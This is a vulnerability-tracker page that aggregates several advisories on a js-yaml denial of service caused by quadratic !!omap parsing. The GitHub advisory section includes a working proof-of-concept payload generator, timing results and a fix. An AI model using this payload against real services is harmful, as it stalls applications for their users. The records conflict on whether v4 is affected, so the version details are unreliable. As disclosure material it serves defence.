js-yaml quadratic-complexity denial of service via YAML11_SCHEMA !!omap parsing

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

js-yaml is a JavaScript YAML parser and dumper. Prior to 3.15.1, 4.3.1, and 5.2.1, YAML11_SCHEMA support for the !!omap tag in src/tag/sequence/omap.ts uses omapTag.addItem() to perform a linear duplicate-key scan on every insertion, causing O(n^2) CPU consumption when yaml.load() parses a crafted ordered-map document. In v3 and v4, !!omap is active and exploitable by default. v5 doesn't use !!omap by default, and the chances of activating it are very low.This issue is fixed in 3.15.1, 4.3.1, and 5.2.1.

Source published

8 Jul 2026 15:13:20 UTC

Source modified

6 Oct 2026 15:07:05 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

js-yaml is a JavaScript YAML parser and dumper. Prior to 3.15.1, 4.3.1, and 5.2.1, YAML11_SCHEMA support for the !!omap tag in src/tag/sequence/omap.ts uses omapTag.addItem() to perform a linear duplicate-key scan on every insertion, causing O(n^2) CPU consumption when yaml.load() parses a crafted ordered-map document. In v3 and v4, !!omap is active and exploitable by default. v5 doesn't use !!omap by default, and the chances of activating it are very low.This issue is fixed in 3.15.1, 4.3.1, and 5.2.1.

Source published

Jul 8, 2026, 3:13:20 PM (timezone not stated)

Source modified

Oct 6, 2026, 3:07:05 PM (timezone not stated)

Observed here

7 Nov 2026 13:25:49 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

js-yaml is a JavaScript YAML parser and dumper. Prior to 3.15.1, 4.3.1, and 5.2.1, YAML11_SCHEMA support for the !!omap tag in src/tag/sequence/omap.ts uses omapTag.addItem() to perform a linear duplicate-key scan on every insertion, causing O(n^2) CPU consumption when yaml.load() parses a crafted ordered-map document. In v3 and v4, !!omap is active and exploitable by default. v5 doesn't use !!omap by default, and the chances of activating it are very low.This issue is fixed in 3.15.1, 4.3.1, and 5.2.1.

Source published

8 Jul 2026 16:16:33 UTC

Source modified

25 Oct 2026 20:10:00 UTC

Observed here

27 Oct 2026 15:15:33 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS 3.1 · [email protected] · Primary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

### Summary `js-yaml` v5.x introduces `YAML11_SCHEMA` support with the `!!omap` (ordered map) tag. The `omapTag.addItem()` function performs a linear O(n) scan for duplicate key detection on every insertion, resulting in O(n^2) total time to parse a document with n omap entries. An attacker can send a small crafted YAML document to trigger a multi-second CPU stall in any application that uses `yaml.load()` with `{ schema: yaml.YAML11_SCHEMA }`. ### Details In `src/tag/sequence/omap.ts` (compiled: `dist/js-yaml.cjs.js:510-525`): ```js var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', { create: () => [], addItem: (container, item) => { // ... for (const existing of container) // O(n) per insertion! if (hasOwnProperty(existing, itemKeys[0])) return 'cannot resolve an ordered map item'; container.push(object); // n insertions → O(n^2) total return ''; } }); ``` For a document with `n` unique entries, insertion i scans i−1 existing entries, yielding 1+2+…+n = **O(n²)** total work. ### PoC (runtime-confirmed on v5.2.0) ```js const yaml = require('js-yaml'); function buildOmapPayload(n) { let p = '!!omap\n'; for (let i = 0; i < n; i++) p += '- key' + i + ': val' + i + '\n'; return p; } // Timing results on v5.2.0: // n=1000: 9ms // n=5000: 73ms (5x n → 8x time) // n=10000: 255ms (2x n → 3.5x time — supralinear) // n=20000: 997ms (2x n → 3.9x time — O(n²) confirmed) // n=50000: 10613ms ← blocks event loop for >10 seconds yaml.load(buildOmapPayload(50000), { schema: yaml.YAML11_SCHEMA }); ``` ### Impact Any application that parses untrusted YAML using `yaml.load(input, { schema: yaml.YAML11_SCHEMA })` is vulnerable to Denial of Service. A ~2 MB payload of 50,000 entries blocks the Node.js event loop for 10+ seconds. Smaller payloads (5,000 entries, ~100 KB) already cause noticeable slowdowns (73 ms per parse, amplified under concurrent load). This affects the newly released 5.x series (first published 2026-06-20) which adds YAML 1.1/1.2 schema support including `!!omap`. The 4.x series is unaffected (no `YAML11_SCHEMA` export). ### Fix Replace the O(n) linear scan in `addItem` with an O(1) `Set`-based lookup: ```js var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', { create: () => ({ list: [], seen: new Set() }), addItem: (state, item) => { const key = Object.keys(item)[0]; if (state.seen.has(key)) return 'duplicate omap key'; state.seen.add(key); state.list.push(item); return ''; }, resolve: (state) => state.list }); ```

Source published

20 Jul 2026 21:18:51 UTC

Source modified

10 Sep 2026 03:50:51 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Publisher rating · MODERATE